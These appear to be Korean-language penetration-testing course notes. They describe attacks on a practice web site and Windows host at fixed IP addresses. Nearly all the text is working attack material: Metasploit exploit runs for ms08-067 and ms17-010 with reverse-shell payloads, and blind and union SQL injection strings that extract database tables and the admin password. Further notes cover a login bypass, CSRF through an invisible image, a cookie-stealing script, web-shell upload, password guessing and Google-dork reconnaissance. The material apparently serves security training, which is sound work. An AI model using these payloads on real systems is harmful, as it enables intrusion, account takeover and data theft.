# data[].attributes.attachment_link.readable_text
kali 192.168.145.129
camel 192.168.145.136

# nmap -sV 192.168.145.136
# nmap --script vuln  192.168.145.136

 smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).


msfconsole
msf6 > search ms08-067
msf6 > use exploit/windows/smb/ms08_067_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > show options
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.145.136
msf6 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
run

back
msf6 > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > show options
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.145.136
msf6 exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > run
meterpreter > shell

# data[].attributes.headline
실습 10  파일다운로드

# data[].attributes.subject
실습 10  파일다운로드

# data[].attributes.body
웹쉘 파일 압축 플어서 업로드

cert2003

# data[].attributes.attachment_link.readable_text
실습7  blind SQL 인젝션 

1) 에러 유발 - 에러가 안나는 것은 필터링 처리 때문
    info_idx=6 뒤에 ' 입력  > 에러발생

2) 문자변수인지 숫자변수인지 확인
   ~ info_idx=6 ' and '1'='1   문자로 인식할 경우  (에러 발생)
   ~ info_idx=6 and 1=1    숫자로 인식할 경우   (에러 안남)

3) blind SQL 인젝션의 기본 조건은 참과 거짓에 따라 다른 반응을 보이는 것
   ~ info_idx=6 and 1=1 참    (에러 안남)
   ~ info_idx=6 and 1=2 거짓  (에러 발생)

    ==> blind sql 인젝션 가능성 확인
4) 아스키코드 
   ~ info_idx=6 and ascii('a') between 32 and 127
5) substring 함수
    substring('abc',1,1) 의미는 'abc' 단어의 첫번째 글자, 한 개 즉  a를 뜻함
   ~ info_idx=6 and ascii(substring('abc',1,1)) = 97
6) between a and b는 안해도 되지만 좀더 쉽게 하기 위함, 또는 '=' 필터링 시 사용
   ~ info_idx=6 and ascii(substring('abc',1,1)) between 32 and 127
7) 'abc' 대신 db 테이블을 가져와야 하므로 쿼리문
   (select distinct top 1 table_name from information_schema.tables order by   table_name asc)
    distinct top 1 :  맨위의 테이블 한개만
    information_schema.tables : 모든 테이블명을 관리하고 있는 테이블
    order by   table_name asc : table_name 작은것 부터 순서대로 정렬
8) 순서대로 정렬된 첫번째 테이블의 첫글자 가져오기 (예: admin 테이블)

http://210.121.193.52/board/index.asp?cmd=view&page=1&b_com=yes&gubun=gel&p_from=down&info_ref=6&info_idx=6 and ascii(substring((select distinct top 1 table_name from information_schema.tables order by table_name asc),1,1)) between 32 and 127

에러 안나는 쪽으로 숫자 범위를 좁혀간다.
첫번째 테이블의 첫번째 글자 = a

9) ascii( ~, 1,1)을 ascii( ~, 2,1) 로 바꾸어서 두번째 글자를 찾는다.
   첫번째 테이블의 두번째 글자 = a
10) 세번째~   글자를 모두 찾는다.
    테이블 명 = admin
11) 첫번째 테이블의 첫번째 컬럼의 첫글자 찾기
http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' order by column_name asc), 1,1)) between 97 and 126

information_schema.columns : 모든 컬럼명을 관리하고 있는 테이블

12) 첫번째 테이블의 첫번째 컬럼명 나머지 글자 찾기

13) 첫번째 테이블의 두번째 컬럼명 나머지 글자 찾기
http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' and column_name not in (select distinct top 1 column_name from information_schema.columns order by column_name asc) order by column_name asc), 1,1)) between 97 and 126

14) 번째 테이블의 세번째 컬럼명 나머지 글자 찾기
http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' and column_name not in (select distinct top 2 column_name from information_schema.columns order by column_name asc) order by column_name asc), 1,1)) between 97 and 127

not in (~ top 2 ~) 부분만 변경

15) 찾은 테이블명과 컬럼명으로 데이터 첫글자 확인
http://~&info_idx=1 and ascii(substring((select distinct top 1 컬럼명 from 테이블명), 1,1)) between 97 and 122




























# data[].attributes.body
CAMEL 사이트 [정보수정] 에서

정보수정하는 URL 을 캡쳐

<img src="http://~" width=0 height=0>

으로 만들어서 게시물에 올림

게시물을 본 사람의 정보가 수정됨

이유?

update member set mem_pwd='"&mem_pwd&"', ....

where mem_id='"&session("id")&"'

현재 세션값의 id의 정보 수정하게 됨

# data[].attributes.attachment_link.readable_text
실습 6 CSRF

POST 를 GET 방식으로 변환

210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=

으로 안보이는 이미지로 변환

다음을 게시물에 입력

# data[].attributes.attachment_link.readable_text
210.121.193.52

쿠키를 attacker에게 전송한는 스크립트로
게시물 내용에 적어 넣으면 됩니다.
크기가 0인 이미지이므로 보이지는 않습니다.

[공격 실습]

document.write(" ");

# data[].attributes.attachment_link.readable_text
실습 4   SQLi 로 인증우회

1) 관리자 페이지 찾기

구글검색 or Nikto or Nmap  or OWASP-ZAP 등 

nikto -h http://210.121.193.52  (취약점과 중요 경로)
nikto -h http://210.121.193.52 -C all (관리자페이지 찾기위한 내장 플러그인 활용)
nikto -h http://210.121.193.52 -fileext php,asp,html

nmap -p 80,443 210.121.193.52
nmap --script http-enum -p 80 210.121.193.52

210.121.193.52/admin/

SELECT admin_Id, admin_Pass from admin WHERE admin_ID = ' "& Request("admin_id") &" ' AND admin_Pass =' "& Request("admin_pass") &" '

' or '1'='1

SELECT admin_Id, admin_Pass from admin WHERE admin_ID = ' ' or '1'='1 ' AND admin_Pass =' ' or '1'='1 '


# data[].attributes.body
대치동

대치동'

대치동';

대치동';--

proxy setting > remove input field length limit 체크

대치동' union select '1','2','3','4','5','6' from information_schema.tables ;--

대치동' union select '1',table_name,'3','4','5','6' from information_schema.tables;--

대치동' union select '1',column_name,'3','4','5','6' from information_schema.columns

where table_name = 'admin' ;--

대치동' union select '1',admin_id,admin_pass,'4','5','6' from admin;--

# data[].attributes.attachment_link.readable_text
3. union SQL Injection

1) 문자 변수인지 숫자 변수인지 확인
대치동
대치동' 
대치동';--
대치동' union select 1,1,1,1,1 ;--

2) 필드 길이제한 확인
burpsuite 에서 limit 해제
proxy > proxy setting > Response modification rules
> Remove input field length limits

대치동' union select null,null,null,null from information_schema.tables;--

3) 컬럼 갯수 맞추기 
	- 갯수 안맞으면 에러

4) 숫자인지 문자인지 맞추기
   null 을 1 (숫자) 또는 '1' 로 바꿔서 컬럼의 type 맞추기

5) 적당한 필드에 table_name 넣어서 확인하기

6) 찾은 table_name 의 column_name 확인하기

7) 관리자 table 에서 관리자 id와  pw 확인하기


# data[].attributes.headline
실습2  테스트 계정 찾기

# data[].attributes.subject
실습2  테스트 계정 찾기

# data[].attributes.body
실습 2

test 계정과 pw 찾기

아이디 : [ ] 중복체크기능 활용

일반계정 : test, test1, test2, ... test11,..... test123,...

관리자계정 : root, admin, manager,....

찾았으면 로그인 창으로 가서 패스워드 찾기

id와 동일, 1, 11, 111, ... 123, ... 1234, 0000 등

가능하면 2개 이상 찾기

# data[].attributes.body
nmap -sV 210.121.193.53

nmap -O 210.121.193.53

nmap -A 210.121.193.53

nmap -v --script vuln 210.121.193.53

# data[].attributes.body
윈도우 pc

ipconfig

ipconfig/all

http://www.findip.kr/

http://whois.kisa.or.kr/kor/main.jsp

https://uic.io/ko/mac/

nmap -sV [IP]

nmap -A [IP]

nmap -Pn -A -sS [IP]

kali linux

ifconfig

hostname -I

netstat -r

ip r l

curl -4  icanhazip.com

nmap --script smb-enum-shares [IP]

nmap --script smb-os-discovery [IP]

nmap -sV [IP]

theHarvester -d ABC.com -b google

-wafw00f  http://ABC.com

# data[].attributes.body
https://www.exploit-db.com/google-hacking-database

특정 파일 찾기

filetype:xls 학번

index.of ws_ftp.log or filetype:log버전 확인

intitle:index.of "server at"

filetype:xls username password email

사내 인트라넷 검색

intitle: intranet inurl:intranet +intext:"human resources"

사용 예)

site:www.ABC.com

site:ABC.com                         : 고객사 사이트를 전체적으로 검색

site:ABC.com intitle:index.of   : 디렉토리리스팅 페이지 검색

site:ABC.com intitle:login        : 로그인 페이지 검색

site:ABC.com inrul:/admin       : 관리자 페이지 검색

site:ABC.com intitle:관리자       : 관리자 페이지 검색

site:ABC.com filetype:xls         : 파일검색

site:ABC.com -site:m. ABC.com

www.ABC.com/robots.txt

# data[].attributes.body
실습 1

burp suite 설치

proxy tool 로서 request와 response를 중간에서 가로채서 보거나

수정할 수 있게 해주는 tool.. paros와 burp suite가 대표적이고 이외에도 몇개 더 있다.

210.121.193.52 camel

회원가입 - 주민등록번호 입력 우회

burp > porxy > intecept responses 에 체크 - close

open browser > 210.121.193.52 > intercept is on

> 회원가입 -burpsuite 에서 function jumin1(){ ~ document.form.submit();

사이를 삭제 > forward

> 이름대충 > 주민등록 번호 대충 > 회원가입 > intercept off